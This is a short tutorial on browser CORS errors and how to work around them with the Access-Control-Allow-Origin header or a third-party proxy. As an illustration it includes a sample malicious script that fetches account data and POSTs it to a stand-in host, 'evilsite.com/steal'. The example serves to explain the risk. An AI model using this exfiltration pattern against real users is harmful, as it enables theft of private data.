Look at the following scenario:
- You load website-A
- Website A had a script which sends ajax request to website-B
- CORS violation appears: The response coming from website-B is blocked by browser from touching data of website-A by default due to CORS policy.
This is a security feature implemented only in browsers which prevents a 3rd party script from extracting your private data and send that to website-B. The gravity of this issue can be understood in the following sample script.
Imagine a world with no CORS security, then the following malicious script can steal your data:
fetch("https://google.com/api/account_details/@me/everything")
.then(response => response.json())
.then(data => fetch("https://evilsite.com/steal", {method:"POST", body:data});
To Fix CORS issue, either of the following methods can be applied.
-
Set HTTP response header
Access-Control-Allow-Origin
Set the following response header in server B in order to whitelist website-A to allow access into website-B. In Server B:
Access-Control-Allow-Origin: website-A
This allows website-A to access resources in website-B without CORS trouble. This is a way of telling server-B that you can let website-A to request your data anytime.
Access-Control-Allow-Origin: *
This allows any websites to access resources in server-B without CORS trouble. eg: Google Fonts. Any websites can request for google fonts, so google should set Access-Control-Allow-Origin: * in order to let any websites to load fonts without CORS issues.
-
Use proxy server CORS is a browser only feature. It doesn't apply to server. Therefore, website-A could request a proxy server to fetch resources from server-B.
// setup a CORS proxy for all ajax requests (function () { var cors_api_host = 'cors-anywhere.herokuapp.com'; var cors_api_url = 'https://' + cors_api_host + '/'; var slice = [].slice; var origin = window.location.protocol + '//' + window.location.host; var open = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function () { var args = slice.call(arguments); var targetOrigin = /^https?:\/\/([^\/]+)/i.exec(args[1]); if (targetOrigin && targetOrigin[0].toLowerCase() !== origin && targetOrigin[1] !== cors_api_host) { args[1] = cors_api_url + args[1]; } return open.apply(this, args); }; })();